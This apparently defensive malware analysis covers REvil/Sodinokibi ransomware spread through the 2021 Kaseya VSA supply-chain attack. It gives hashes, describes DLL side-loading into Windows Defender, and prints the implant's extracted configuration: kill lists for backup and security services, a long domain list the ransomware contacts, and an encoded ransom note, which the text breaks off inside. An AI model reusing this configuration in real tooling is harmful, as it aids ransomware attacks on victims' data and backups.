Revil / Sodinokibi ransomware delivered through Kaseya VSA supply-chain attack

On July 2, 2021, Kaseya issued a notice stating that the company was experiencing a potential cyber attack against the VSA suite. The company itself advised that the on-prem customers servers should be shut down immediately until further notice from them.

VSA is a very common solution and usually used by Managed Service Providers especially in the United States and the United Kingdom. It allows to perform patch management and client monitoring for MSP customers.

From the first reconstructions of the incident, a threat actor caused the spread of malicious code together with alleged updates performing a s.c. supply-chain attack. The delivered malicious code is capable of copying a malware dropper (digitally signed with a valid signature from PB03 TRANSPORT LTD.) of the Revil / Sodinokibi ransomware on the affected systems.

As per evidence extracted, this dropper (sha1: 5162f14d75e96edb914d1756349d6e11583db0b0) has the purpose of creating two distinct files under the path C:\Windows\ . Although not common practice among malware writers, this path is hard-coded within the executable.

The creation of the aforementioned files has the purpose of side-loading a malicious dll (sha1: 656c4d285ea518d90c1b669b79af475db31e30b1) within a legitimate copy of the Microsoft Windows Defender executable (MsMpEng.exe). As soon as the latter is launched, the file encryption phase is therefore carried out through a legitimate process, complicating the detection operations.

Both payloads are retrieved by referencing two resources within the dropper, as shown in the following image

Side-Loaded DLL

The loaded dll into the legitimate Windows Defender executable is intended to perform the actual file encryption operations. The malicious Revil / Sodinokibi payload is originally retrieved after an useful key for this process is dexored at sub_10001110. The DLL exports several function: ServiceCrtMain, ServiceMain, SvchostPushServiceGlobals as evidences reported

ServiceCrtMain is the one of our interest as it is responsible for initiating the logic of retrieving and executing malicious instructions

The payload is then mapped as file into the created thread through CreateFileMappingW and MapViewOfFile.

File mapping is commonly used in order to load into memory a file and permits malware writers to manipulate it easily. CreateFileMapping function is useful to load a file into memory while MapViewOfFile function returns a pointer to the base address of the mapping. The payload is then executed. Following is reported the implant configuration file as it has been extracted in its original form:

{"prc":["encsvc","powerpnt","ocssd","steam","isqlplussvc","outlook","sql","ocomm","agntsvc","mspub","onenote","winword","thebat","excel","mydesktopqos","ocautoupds","thunderbird","synctime","infopath","mydesktopservice","firefox","oracle","sqbcoreservice","dbeng50","tbirdconfig","msaccess","visio","dbsnmp","wordpad","xfssvccon"],"sub":"8254","svc":["veeam","memtas","sql","backup","vss","sophos","svc$","mepocs"],"wht":{"ext":["ps1","ldf","lock","theme","msi","sys","wpx","cpl","adv","msc","scr","bat","key","ico","dll","hta","deskthemepack","nomedia","msu","rtp","msp","idx","ani","386","diagcfg","bin","mod","ics","com","hlp","spl","nls","cab","exe","diagpkg","icl","ocx","rom","prf","themepack","msstyles","lnk","icns","mpa","drv","cur","diagcab","cmd","shs"],"fls":["ntldr","thumbs.db","bootsect.bak","autorun.inf","ntuser.dat.log","boot.ini","iconcache.db","bootfont.bin","ntuser.dat","ntuser.ini","desktop.ini"],"fld":["program files","appdata","mozilla","$windows.~ws","application data","$windows.~bt","google","$recycle.bin","windows.old","programdata","system volume information","program files (x86)","boot","tor browser","windows","intel","perflogs","msocache"]},"img":"QQBsAGwAIABvAGYAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAhAA0ACgANAAoARgBpAG4AZAAgAHsARQBYAFQAfQAtAHIAZQBhAGQAbQBlAC4AdAB4AHQAIABhAG4AZAAgAGYAbwBsAGwAbwB3ACAAaQBuAHMAdAB1AGMAdABpAG8AbgBzAAAA","dmn":"boisehosting.net;fotoideaymedia.es;dubnew.com;stallbyggen.se;koken-voor-baby.nl;juneauopioidworkgroup.org;vancouver-print.ca;zewatchers.com;bouquet-de-roses.com;seevilla-dr-sturm.at;olejack.ru;i-trust.dk;wasmachtmeinfonds.at;appsformacpc.com;friendsandbrgrs.com;thenewrejuveme.com;xn--singlebrsen-vergleich-nec.com;sabel-bf.com;seminoc.com;ceres.org.au;cursoporcelanatoliquido.online;marietteaernoudts.nl;tastewilliamsburg.com;charlottepoudroux-photographie.fr;aselbermachen.com;klimt2012.info;accountancywijchen.nl;creamery201.com;rerekatu.com;makeurvoiceheard.com;vannesteconstruct.be;wellplast.se;andersongilmour.co.uk;bradynursery.com;aarvorg.com;facettenreich27.de;balticdermatology.lt;artige.com;highlinesouthasc.com;crowd-patch.co.uk;sofavietxinh.com;jorgobe.at;danskretursystem.dk;higadograsoweb.com;supportsumba.nl;ruralarcoiris.com;projetlyonturin.fr;kidbucketlist.com.au;harpershologram.wordpress.com;ohidesign.com;international-sound-awards.com;krlosdavid.com;durganews.com;leather-factory.co.jp;coding-machine.com;i-arslan.de;caribbeansunpoker.com;mir-na-iznanku.com;ki-lowroermond.nl;promesapuertorico.com;kissit.ca;dezatec.es;cite4me.org;grelot-home.com;musictreehouse.net;hkr-reise.de;id-vet.com;gasolspecialisten.se;vyhino-zhulebino-24.ru;karacaoglu.nl;bayoga.co.uk;solhaug.tk;jadwalbolanet.info;ncid.bc.ca;bricotienda.com;boldcitydowntown.com;homecomingstudio.com;sojamindbody.com;castillobalduz.es;asgestion.com;dushka.ua;hiddencitysecrets.com.au;danubecloud.com;roadwarrior.app;newstap.com.ng;no-plans.com;schoolofpassivewealth.com;senson.fi;denifl-consulting.at;lmtprovisions.com;talentwunder.com;acomprarseguidores.com;myzk.site;theapifactory.com;midmohandyman.com;argos.wityu.fund;dinslips.se;kalkulator-oszczednosci.pl;wurmpower.at;drugdevice.org;foretprivee.ca;nurturingwisdom.com;funjose.org.gt;blgr.be;readberserk.com;lescomtesdemean.be;firstpaymentservices.com;malychanieruchomoscipremium.com;travelffeine.com;latribuessentielle.com;lusak.at;better.town;smessier.com;kafu.ch;ikads.org;id-et-d.fr;sanaia.com;prochain-voyage.net;edrcreditservices.nl;yassir.pro;gantungankunciakrilikbandung.com;moveonnews.com;bhwlawfirm.com;bigbaguettes.eu;edv-live.de;littlebird.salon;iyengaryogacharlotte.com;toponlinecasinosuk.co.uk;zonamovie21.net;caribdoctor.org;body-guards.it;calabasasdigest.com;elimchan.com;herbstfeststaefa.ch;thewellnessmimi.com;corola.es;pomodori-pizzeria.de;controldekk.com;lichencafe.com;lefumetdesdombes.com;seagatesthreecharters.com;copystar.co.uk;systemate.dk;alsace-first.com;webmaster-peloton.com;koko-nora.dk;jakekozmor.com;mousepad-direkt.de;iwelt.de;dirittosanitario.biz;precisionbevel.com;boulderwelt-muenchen-west.de;chatizel-paysage.fr;praxis-foerderdiagnostik.de;globedivers.wordpress.com;nosuchthingasgovernment.com;neuschelectrical.co.za;schmalhorst.de;mediaclan.info;ihr-news.jp;bunburyfreightservices.com.au;edelman.jp;backstreetpub.com;spsshomeworkhelp.com;lillegrandpalais.com;smithmediastrategies.com;enovos.de;loprus.pl;bsaship.com;importardechina.info;shhealthlaw.com;freie-baugutachterpraxis.de;maxadams.london;deprobatehelp.com;baylegacy.com;deltacleta.cat;financescorecard.com;maureenbreezedancetheater.org;plv.media;winrace.no;leoben.at;pawsuppetlovers.com;tuuliautio.fi;paradicepacks.com;1team.es;testcoreprohealthuk.com;broseller.com;iyahayki.nl;lorenacarnero.com;satyayoga.de;notmissingout.com;chavesdoareeiro.com;mezhdu-delom.ru;hugoversichert.de;jusibe.com;imaginado.de;craftleathermnl.com;sauschneider.info;atalent.fi;conexa4papers.trade;global-kids.info;serce.info.pl;agence-referencement-naturel-geneve.net;zimmerei-fl.de;augenta.com;fannmedias.com;villa-marrakesch.de;ulyssemarketing.com;x-ray.ca;schraven.de;bowengroup.com.au;sairaku.net;southeasternacademyofprosthodontics.org;modamilyon.com;pubweb.carnet.hr;alysonhoward.com;sahalstore.com;triactis.com;panelsandwichmadrid.es;xn--vrftet-pua.biz;adoptioperheet.fi;miriamgrimm.de;filmstreamingvfcomplet.be;kostenlose-webcams.com;deoudedorpskernnoordwijk.nl;live-your-life.jp;mardenherefordshire-pc.gov.uk;instatron.net;mirjamholleman.nl;euro-trend.pl;kojima-shihou.com;nuzech.com;basisschooldezonnewijzer.nl;quemargrasa.net;actecfoundation.org;gamesboard.info;podsosnami.ru;extensionmaison.info;retroearthstudio.com;polzine.net;hmsdanmark.dk;linnankellari.fi;schoellhammer.com;elpa.se;mooreslawngarden.com;rozemondcoaching.nl;lenreactiv-shop.ru;uranus.nl;advokathuset.dk;ora-it.de;love30-chanko.com;smartypractice.com;rebeccarisher.com;cafemattmeera.com;bargningavesta.se;www1.proresult.no;rhinosfootballacademy.com;polychromelabs.com;notsilentmd.org;makeflowers.ru;zimmerei-deboer.de;ccpbroadband.com;iwr.nl;wychowanieprzedszkolne.pl;greenpark.ch;bimnapratica.com;lachofikschiet.nl;memaag.com;parking.netgateway.eu;tanzschule-kieber.de;antiaginghealthbenefits.com;simulatebrain.com;digi-talents.com;hairnetty.wordpress.com;samnewbyjax.com;helikoptervluchtnewyork.nl;devlaur.com;cimanchesterescorts.co.uk;houseofplus.com;rushhourappliances.com;pelorus.group;kedak.de;lapmangfpt.info.vn;pivoineetc.fr;marchand-sloboda.com;anybookreader.de;markelbroch.com;celularity.com;rafaut.com;unim.su;latestmodsapks.com;thedresserie.com;bigasgrup.com;slimidealherbal.com;phantastyk.com;thailandholic.com;tophumanservicescourses.com;aakritpatel.com;navyfederalautooverseas.com;wien-mitte.co.at;forestlakeuca.org.au;sporthamper.com;psnacademy.in;michaelsmeriglioracing.com;jbbjw.com;colorofhorses.com;iqbalscientific.com;cleliaekiko.online;stemplusacademy.com;effortlesspromo.com;microcirc.net;mbfagency.com;theduke.de;drinkseed.com;troegs.com;peterstrobos.com;consultaractadenacimiento.com;huissier-creteil.com;geoffreymeuli.com;skanah.com;despedidascostablanca.es;alten-mebel63.ru;theadventureedge.com;profectis.de;mepavex.nl;rimborsobancario.net;pasvenska.se;tampaallen.com;symphonyenvironmental.com;videomarketing.pro;pickanose.com;licor43.de;aniblinova.wordpress.com;ventti.com.ar;hhcourier.com;buymedical.biz;oncarrot.com;nachhilfe-unterricht.com;mapawood.com;vox-surveys.com;milsing.hr;sotsioloogia.ee;nativeformulas.com;kirkepartner.dk;partnertaxi.sk;visiativ-industry.fr;transliminaltribe.wordpress.com;chefdays.de;cursosgratuitosnainternet.com;faronics.com;d2marketing.co.uk;lapinlviasennus.fi;miraclediet.fun;bristolaeroclub.co.uk;jameskibbie.com;songunceliptv.com;baronloan.org;idemblogs.com;eglectonk.online;christinarebuffetcourses.com;bastutunnan.se;blogdecachorros.com;finde-deine-marke.de;platformier.com;antenanavi.com;vanswigchemdesign.com;gporf.fr;pmc-services.de;atmos-show.com;danholzmann.com;itelagen.com;transportesycementoshidalgo.es;gymnasedumanagement.com;siluet-decor.ru;gasbarre.com;milltimber.aberdeen.sch.uk;tinkoff-mobayl.ru;expandet.dk;rumahminangberdaya.com;polymedia.dk;newyou.at;zenderthelender.com;artallnightdc.com;tomaso.gr;centrospgolega.com;sweering.fr;tux-espacios.com;ecopro-kanto.com;spacecitysisters.org;bierensgebakkramen.nl;all-turtles.com;coffreo.biz;tandartspraktijkheesch.nl;vietlawconsultancy.com;deko4you.at;tennisclubetten.nl;extraordinaryoutdoors.com;crowcanyon.com;classycurtainsltd.co.uk;apolomarcas.com;verytycs.com;manijaipur.com;veybachcenter.de;falcou.fr;associationanalytics.com;beautychance.se;pocket-opera.de;christ-michael.net;vdberg-autoimport.nl;4net.guru;finediningweek.pl;stampagrafica.es;naturalrapids.com;ussmontanacommittee.us;beaconhealthsystem.org;upplandsspar.se;tradiematepro.com.au;oneplusresource.org;maasreusel.nl;aodaichandung.com;campus2day.de;burkert-ideenreich.de;you-bysia.com.au;mediaacademy-iraq.org;xtptrack.com;eaglemeetstiger.de;mountaintoptinyhomes.com;stemenstilte.nl;noskierrenteria.com;ivfminiua.com;biapi-coaching.fr;art2gointerieurprojecten.nl;corendonhotels.com;ditog.fr;kadesignandbuild.co.uk;abogadosaccidentetraficosevilla.es;camsadviser.com;limassoldriving.com;worldhealthbasicinfo.com;kojinsaisei.info;schmalhorst.de;bigler-hrconsulting.ch;girlillamarketing.com;xn--rumung-bua.online;naturstein-hotte.de;agence-chocolat-noir.com;stormwall.se;collaborativeclassroom.org;baptisttabernacle.com;streamerzradio1.site;mooglee.com;smart-light.co.uk;fitovitaforum.com;c2e-poitiers.com;igrealestate.com;wari.com.pe;takeflat.com;logopaedie-blomberg.de;mrsplans.net;mooshine.com;humanityplus.org;otsu-bon.com;onlyresultsmarketing.com;interactcenter.org;ungsvenskarna.se;35-40konkatsu.net;zzyjtsgls.com;spectrmash.ru;tenacitytenfold.com;torgbodenbollnas.se;drnice.de;lightair.com;huesges-gruppe.de;promalaga.es;paulisdogshop.de;hotelsolbh.com.br;julis-lsa.de;myteamgenius.com;darnallwellbeing.org.uk;refluxreducer.com;educar.org;kuntokeskusrok.fi;truenyc.co;comparatif-lave-linge.fr;frontierweldingllc.com;autodemontagenijmegen.nl;spylista.com;allfortheloveofyou.com;ilso.net;corona-handles.com;micahkoleoso.de;fairfriends18.de;haremnick.com;ecoledansemulhouse.fr;blewback.com;macabaneaupaysflechois.com;osterberg.fi;surespark.org.uk;stupbratt.no;hokagestore.com;mirkoreisser.de;tomoiyuma.com;tigsltd.com;manifestinglab.com;glennroberts.co.nz;hardinggroup.com;zso-mannheim.de;yousay.site;dublikator.com;oneheartwarriors.at;pointos.com;kenhnoithatgo.com;ausbeverage.com.au;testzandbakmetmening.online;grupocarvalhoerodrigues.com.br;werkkring.nl;hotelzentral.at;vibethink.net;123vrachi.ru;allure-cosmetics.at;mrxermon.de;bloggyboulga.net;bouldercafe-wuppertal.de;sobreholanda.com;smogathon.com;beyondmarcomdotcom.wordpress.com;wraithco.com;bookspeopleplaces.com;montrium.com;webcodingstudio.com;lucidinvestbank.com;ncs-graphic-studio.com;stingraybeach.com;aglend.com.au;lecantou-coworking.com;tongdaifpthaiphong.net;solerluethi-allart.ch;coursio.com;otto-bollmann.de;madinblack.com;vibehouse.rw;bridgeloanslenders.com;erstatningsadvokaterne.dk;resortmtn.com;socstrp.org;pier40forall.org;ostheimer.at;quickyfunds.com;aminaboutique247.com;jobcenterkenya.com;jenniferandersonwriter.com;marcuswhitten.site;mediaplayertest.net;irinaverwer.com;stoeberstuuv.de;lebellevue.fr;the-virtualizer.com;outcomeisincome.com;gonzalezfornes.es;kunze-immobilien.de;myhealth.net.au;helenekowalsky.com;xn--fn-kka.no;withahmed.com;simplyblessedbykeepingitreal.com;havecamerawilltravel2017.wordpress.com;muamuadolls.com;balticdentists.com;mank.de;croftprecision.co.uk;jandaonline.com;datacenters-in-europe.com;gw2guilds.org;raschlosser.de;geekwork.pl;pv-design.de;opatrovanie-ako.sk;ausair.com.au;commonground-stories.com;parebrise-tla.fr;vloeren-nu.nl;conasmanagement.de;dlc.berlin;liveottelut.com;4youbeautysalon.com;lykkeliv.net;adultgamezone.com;hexcreatives.co;citymax-cr.com;portoesdofarrobo.com;patrickfoundation.net;tonelektro.nl;atozdistribution.co.uk;urclan.net;evergreen-fishing.com;body-armour.online;nsec.se;autopfand24.de;syndikat-asphaltfieber.de;yourobgyn.net;vihannesporssi.fi;new.devon.gov.uk;teczowadolina.bytom.pl;antonmack.de;dpo-as-a-service.com;pogypneu.sk;creative-waves.co.uk;htchorst.nl;xn--fnsterputssollentuna-39b.se;norpol-yachting.com;parkstreetauto.net;sloverse.com;candyhouseusa.com;tsklogistik.eu;smejump.co.th;diversiapsicologia.es;unetica.fr;drfoyle.com;cranleighscoutgroup.org;dekkinngay.com;n1-headache.com;amerikansktgodis.se;evangelische-pfarrgemeinde-tuniberg.de;fransespiegels.nl;coastalbridgeadvisors.com;qualitaetstag.de;kath-kirche-gera.de;alhashem.net;schutting-info.nl;2ekeus.nl;berlin-bamboo-bikes.org;minipara.com;blood-sports.net;milestoneshows.com;physiofischer.de;ontrailsandboulevards.com;babcockchurch.org;healthyyworkout.com;plantag.de;krcove-zily.eu;mylolis.com;fax-payday-loans.com;praxis-management-plus.de;smokeysstoves.com;longislandelderlaw.com;calxplus.eu;mountsoul.de;dubscollective.com;luckypatcher-apkz.com;epwritescom.wordpress.com;fundaciongregal.org;klusbeter.nl;jobmap.at;oldschoolfun.net;abl1.net;labobit.it;romeguidedvisit.com;carrybrands.nl;people-biz.com;blossombeyond50.com;theclubms.com;whittier5k.com;jolly-events.com;kisplanning.com.au;rostoncastings.co.uk;ravensnesthomegoods.com;nhadatcanho247.com;vetapharma.fr;hihaho.com;tulsawaterheaterinstallation.com;purposeadvisorsolutions.com;faizanullah.com;directwindowco.com;herbayupro.com;pay4essays.net;work2live.de;stoneys.ch;webhostingsrbija.rs;lange.host;baustb.de;psa-sec.de;hushavefritid.dk;lloydconstruction.com;ra-staudte.de;mbxvii.com;tecnojobsnet.com;starsarecircular.org;twohourswithlena.wordpress.com;stoeferlehalle.de;merzi.info;garage-lecompte-rouen.fr;hypozentrum.com;nestor-swiss.ch;thomasvicino.com;kmbshipping.co.uk;denovofoodsgroup.com;planchaavapor.net;dr-pipi.de;qlog.de;lynsayshepherd.co.uk;aco-media.nl;abogadoengijon.es;bestbet.com;liliesandbeauties.org;norovirus-ratgeber.de;thee.network;stacyloeb.com;bundabergeyeclinic.com.au;sandd.nl;americafirstcommittee.org;milanonotai.it;kevinjodea.com;easytrans.com.au;westdeptfordbuyrite.com;carriagehousesalonvt.com;operaslovakia.sk;corelifenutrition.com;hashkasolutindo.com;compliancesolutionsstrategies.com;edgewoodestates.org;mastertechengineering.com;pinkexcel.com;cnoia.org;aprepol.com;rieed.de;katketytaanet.fi;lascuola.nl;assurancesalextrespaille.fr;paymybill.guru;xoabigail.com;ligiercenter-sachsen.de;answerstest.ru;airconditioning-waalwijk.nl;pixelarttees.com;freie-gewerkschaften.de;dnepr-beskid.com.ua;eco-southafrica.com;dutchcoder.nl;iphoneszervizbudapest.hu;allentownpapershow.com;bingonearme.org;summitmarketingstrategies.com;completeweddingkansas.com;wolf-glas-und-kunst.de;employeesurveys.com;scenepublique.net;monark.com;seitzdruck.com;alvinschwartz.wordpress.com;knowledgemuseumbd.com;spd-ehningen.de;boosthybrid.com.au;launchhubl.com;revezlimage.com;dontpassthepepper.com;petnest.ir;associacioesportivapolitg.cat;12starhd.online;jerling.de;kaotikkustomz.com;sarbatkhalsafoundation.org;solinegraphic.com;skiltogprint.no;craigmccabe.fun;puertamatic.es;mylovelybluesky.com;run4study.com;pierrehale.com;cactusthebrand.com;101gowrie.com;nicoleaeschbachorg.wordpress.com;architekturbuero-wagner.net;mindpackstudios.com;vitavia.lt;bouncingbonanza.com;lukeshepley.wordpress.com;igfap.com;bockamp.com;levihotelspa.fi;exenberger.at;tinyagency.com;familypark40.com;alfa-stroy72.com;boompinoy.com;mdacares.com;architecturalfiberglass.org;slupetzky.at;sinal.org;qualitus.com;deepsouthclothingcompany.com;groupe-frayssinet.fr;synlab.lt;kamienny-dywan24.pl;ilcdover.com;humancondition.com;insigniapmg.com;arteservicefabbro.com;team-montage.dk;iviaggisonciliegie.it;austinlchurch.com;rehabilitationcentersinhouston.net;zervicethai.co.th;vickiegrayimages.com;ziegler-praezisionsteile.de;crediacces.com;comarenterprises.com;courteney-cox.net;trapiantofue.it;space.ua;odiclinic.org;noesis.tech;urmasiimariiuniri.ro;8449nohate.org;xltyu.com;kikedeoliveira.com;remcakram.com;degroenetunnel.com;strandcampingdoonbeg.com;haar-spange.com;pmcimpact.com;ceid.info.tr;gemeentehetkompas.nl;stopilhan.com;dareckleyministries.com;sportverein-tambach.de;ivivo.es;braffinjurylawfirm.com;pcprofessor.com;bordercollie-nim.nl;hrabritelefon.hr;ctrler.cn;makeitcount.at;foryourhealth.live;seproc.hn;ianaswanson.com;nijaplay.com;brandl-blumen.de;lubetkinmediacompanies.com;ouryoungminds.wordpress.com;micro-automation.de;apprendrelaudit.com;securityfmm.com;geisterradler.de;morawe-krueger.de;nmiec.com;sla-paris.com;figura.team;vitalyscenter.es;jvanvlietdichter.nl;crosspointefellowship.church;handi-jack-llc.com;femxarxa.cat;wsoil.com.sg;xlarge.at;groupe-cets.com;admos-gleitlager.de;liikelataamo.fi;sevenadvertising.com;nancy-informatique.fr;ateliergamila.com;stefanpasch.me;wacochamber.com;aurum-juweliere.de;hatech.io;centuryrs.com;ilive.lt;fensterbau-ziegler.de;zflas.com;thefixhut.com;goodgirlrecovery.com;botanicinnovations.com;saxtec.com;tips.technology;smalltownideamill.wordpress.com;pt-arnold.de;tarotdeseidel.com;bildungsunderlebnis.haus;brevitempore.net;imadarchid.com;sportiomsportfondsen.nl;digivod.de;darrenkeslerministries.com;smhydro.com.pl;echtveilig.nl;schlafsack-test.net;galserwis.pl;eraorastudio.com;faroairporttransfers.net;connectedace.com;pcp-nc.com;jyzdesign.com;suncrestcabinets.ca;offroadbeasts.com;teresianmedia.org;greenfieldoptimaldentalcare.com;thomas-hospital.de;embracinghiscall.com;ralister.co.uk;rosavalamedahr.com;quizzingbee.com;richard-felix.co.uk;sipstroysochi.ru;todocaracoles.com;shiftinspiration.com;campusoutreach.org;bodyforwife.com;katiekerr.co.uk;sportsmassoren.com;trystana.com;ino-professional.ru;slashdb.com;selfoutlet.com;personalenhancementcenter.com;proudground.org;walkingdeadnj.com;d1franchise.com;anthonystreetrimming.com;forskolorna.org;brawnmediany.com;uimaan.fi;journeybacktolife.com;pferdebiester.de;kao.at;asteriag.com;hvccfloorcare.com;parks-nuernberg.de;div-vertriebsforschung.de;centromarysalud.com;asiluxury.com;chrissieperry.com;verbisonline.com;onlybacklink.com;radaradvies.nl;daklesa.de;sagadc.com;waveneyrivercentre.co.uk;mytechnoway.com;fitnessbazaar.com;fibrofolliculoma.info;fayrecreations.com;maryloutaylor.com;whyinterestingly.ru;maratonaclubedeportugal.com;maineemploymentlawyerblog.com;kosterra.com;blumenhof-wegleitner.at;punchbaby.com;wmiadmin.com;bxdf.info;harveybp.com;vermoote.de;johnsonfamilyfarmblog.wordpress.com;plastidip.com.ar;autofolierung-lu.de;highimpactoutdoors.net;cwsitservices.co.uk;hairstylesnow.site;mymoneyforex.com;victoriousfestival.co.uk;farhaani.com;web.ion.ag;simoneblum.de;carolinepenn.com;blacksirius.de;trackyourconstruction.com;naturavetal.hr;heliomotion.com;rollingrockcolumbia.com;judithjansen.com;poultrypartners.nl;mirjamholleman.nl;baumkuchenexpo.jp;insidegarage.pl;irishmachineryauctions.com;intecwi.com;porno-gringo.com;penco.ie;jacquin-maquettes.com;anteniti.com;hebkft.hu;ftlc.es;dutchbrewingcoffee.com;behavioralmedicinespecialists.com;socialonemedia.com;cirugiauretra.es;c-a.co.in;nokesvilledentistry.com;chandlerpd.com;aunexis.ch;gmto.fr;berliner-versicherungsvergleich.de;jsfg.com;vesinhnha.com.vn;joyeriaorindia.com;greenko.pl;cerebralforce.net;rota-installations.co.uk;presseclub-magdeburg.de;yamalevents.com;renergysolution.com;roygolden.com;verifort-capital.de;delawarecorporatelaw.com;jiloc.com;icpcnj.org;1kbk.com.ua;noixdecocom.fr;entopic.com;hellohope.com;flexicloud.hk;danielblum.info;thaysa.com;mdk-mediadesign.de;nataschawessels.com;smale-opticiens.nl;charlesreger.com;kaliber.co.jp;almosthomedogrescue.dog;reddysbakery.com;waynela.com;ahouseforlease.com;binder-buerotechnik.at;happyeasterimages.org;dr-tremel-rednitzhembach.de;mikeramirezcpa.com;zweerscreatives.nl;dramagickcom.wordpress.com;commercialboatbuilding.com;argenblogs.com.ar;heurigen-bauer.at;ogdenvision.com;gadgetedges.com;izzi360.com;turkcaparbariatrics.com;spargel-kochen.de;pridoxmaterieel.nl;heidelbergartstudio.gallery;ftf.or.at;kaminscy.com;filmvideoweb.com;meusharklinithome.wordpress.com;xn--thucmctc-13a1357egba.com;tstaffing.nl;abogadosadomicilio.es;igorbarbosa.com;homesdollar.com;ncuccr.org;caffeinternet.it;abogados-en-alicante.es;evologic-technologies.com;oslomf.no;desert-trails.com;gastsicht.de;nvwoodwerks.com;slwgs.org;vorotauu.ru;lionware.de;bodyfulls.com;myhostcloud.com;amylendscrestview.com;bptdmaluku.com;bogdanpeptine.ro;perbudget.com;strategicstatements.com;simpliza.com;innote.fi;365questions.org;sanyue119.com;walter-lemm.de;cuppacap.com;teknoz.net;layrshift.eu;blog.solutionsarchitect.guru;parkcf.nl;themadbotter.com;upmrkt.co;modelmaking.nl;nandistribution.nl;ledmes.ru;coding-marking.com;sachnendoc.com;thedad.com;mercantedifiori.com;artotelamsterdam.com;plotlinecreative.com;bauertree.com;woodleyacademy.org;dw-css.de;leda-ukraine.com.ua;destinationclients.fr;jasonbaileystudio.com;cheminpsy.fr;devstyle.org;kindersitze-vergleich.de;live-con-arte.de;bee4win.com;fiscalsort.com;jeanlouissibomana.com;huehnerauge-entfernen.de;eadsmurraypugh.com;fotoscondron.com;DupontSellsHomes.com;brigitte-erler.com;imperfectstore.com;shonacox.com;nacktfalter.de;devok.info;esope-formation.fr;mariposapropaneaz.com;sw1m.ru;mrtour.site;hannah-fink.de;bafuncs.org;kampotpepper.gives;ampisolabergeggi.it;cuspdental.com;philippedebroca.com;abitur-undwieweiter.de;hoteledenpadova.it;tanciu.com;delchacay.com.ar;cortec-neuro.com;theshungiteexperience.com.au;deschl.net;biortaggivaldelsa.com;fitnessingbyjessica.com;dsl-ip.de;officehymy.com;shadebarandgrillorlando.com;bargningharnosand.se;mmgdouai.fr;daniel-akermann-architektur-und-planung.ch;xn--logopdie-leverkusen-kwb.de;buroludo.nl;ymca-cw.org.uk;executiveairllc.com;allamatberedare.se;servicegsm.net;kingfamily.construction;nakupunafoundation.org;henricekupper.com;shsthepapercut.com;lbcframingelectrical.com;ladelirante.fr;clos-galant.com;dr-seleznev.com;siliconbeach-realestate.com;tanzprojekt.com;fatfreezingmachines.com;kamahouse.net;gratispresent.se;softsproductkey.com;marathonerpaolo.com;gopackapp.com;manutouchmassage.com;marketingsulweb.com;craigvalentineacademy.com;catholicmusicfest.com;gaiam.nl;woodworkersolution.com;pasivect.co.uk;cyntox.com;advizewealth.com;y-archive.com;saarland-thermen-resort.com;fizzl.ru;oemands.dk;mrsfieldskc.com;levdittliv.se;rksbusiness.com;sexandfessenjoon.wordpress.com;first-2-aid-u.com;simpkinsedwards.co.uk;the-domain-trader.com;rocketccw.com;celeclub.org;urist-bogatyr.ru;lapinvihreat.fi;ecpmedia.vn;zieglerbrothers.de;piajeppesen.dk;joseconstela.com;carlosja.com;real-estate-experts.com;toreria.es;analiticapublica.es;kariokids.com;leeuwardenstudentcity.nl;psc.de;tetinfo.in;ai-spt.jp;homng.net;em-gmbh.ch;trulynolen.co.uk;oceanastudios.com;csgospeltips.se;luxurytv.jp;abuelos.com;birnam-wood.com;theletter.company;bbsmobler.se;restaurantesszimmer.de;insp.bi;besttechie.com;autodujos.lt;chaotrang.com;galleryartfair.com;321play.com.hk;saka.gr;tandartspraktijkhartjegroningen.nl;steampluscarpetandfloors.com;waermetauscher-berechnen.de;sterlingessay.com;justinvieira.com;waywithwords.net;shiresresidential.com;naswrrg.org;spinheal.ru;slimani.net;modestmanagement.com;triggi.de;cityorchardhtx.com;narcert.com","dbg":false,"pid":"$2a$12$prOX/4eKl8zrpGSC5lnHPecevs5NOckOUW5r3s4JJYDnZZSghvBkq","nbody":"LQAtAC0APQA9AD0AIABXAGUAbABjAG8AbQBlAC4AIABBAGcAYQBpAG4ALgAgAD0APQA9AC0ALQAtAA0ACgANAAoAWwAtAF0AIABXAGgAYQB0AHMAIABIAGEAcABQAGUAbgA/ACAAWwAtAF0ADQAKAA0ACgBZAG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAsACAAYQBuAGQAIABjAHUAcgByAGUAbgB0AGwAeQAgAHUAbgBhAHYAYQBpAGwAYQBiAGwAZQAuACAAWQBvAHUAIABjAGEAbgAgAGMAaABlAGMAawAgAGkAdAA6ACAAYQBsAGwAIABmAGkAbABlAHMAIABvAG4AIAB5AG8AdQByACAAcwB5AHMAdABlAG0AIABoAGEAcwAgAGUAeAB0AGUAbgBzAGkAbwBuACAAewBFAFgAVAB9AC4ADQAKAEIAeQAgAHQAaABlACAAdwBhAHkALAAgAGUAdgBlAHIAeQB0AGgAaQBuAGcAIABpAHMAIABwAG8AcwBzAGkAYgBsAGUAIAB0AG8AIAByAGUAYwBvAHYAZQByACAAKAByAGUAcwB0AG8AcgBlACkALAAgAGIAdQB0ACAAeQBvAHUAIABuAGUAZQBkACAAdABvACAAZgBvAGwAbABvAHcAIABvAHUAcgAgAGkAbgBzAHQAcgB1AGMAdABpAG8AbgBzAC4AIABPAHQAaABlAHIAdwBpAHMAZQAsACAAeQBvAHUAIABjAGEAbgB0ACAAcgBlAHQAdQByAG4AIAB5AG8AdQByACAAZABhAHQAYQAgACgATgBFAFYARQBSACkALgANAAoADQAKAFsAKwBdACAAVwBoAGEAdAAgAGcAdQBhAHIAYQBuAHQAZQBlAHMAPwAgAFsAKwBdAA0ACgANAAoASQB0AHMAIABqAHUAcwB0ACAAYQAgAGIAdQBzAGkAbgBlAHMAcwAuACAAVwBlACAAYQBiAHMAbwBsAHUAdABlAGwAeQAgAGQAbwAgAG4AbwB0ACAAYwBhAHIAZQAgAGEAYgBvAHUAdAAgAHkAbwB1ACAAYQBuAGQAIAB5AG8AdQByACAAZABlAGEAbABzACwAIABlAHgAYwBlAHAAdAAgAGcAZQB0AHQAaQBuAGcAIABiAGUAbgBlAGYAaQB0AHMALgAgAEkAZgAgAHcAZQAgAGQAbwAgAG4AbwB0ACAAZABvACAAbwB1AHIAIAB3AG8AcgBrACAAYQBuAGQAIABsAGkAYQBiAGkAbABpAHQAaQBlAHMAIAAtACAAbgBvAGIAbwBkAHkAIAB3AGkAbABsACAAbgBvAHQAIABjAG8AbwBwAGUAcgBhAHQAZQAgAHcAaQB0AGgAIAB1AHMALgAgAEkAdABzACAAbgBvAHQAIABpAG4AIABvAHUAcgAgAGkAb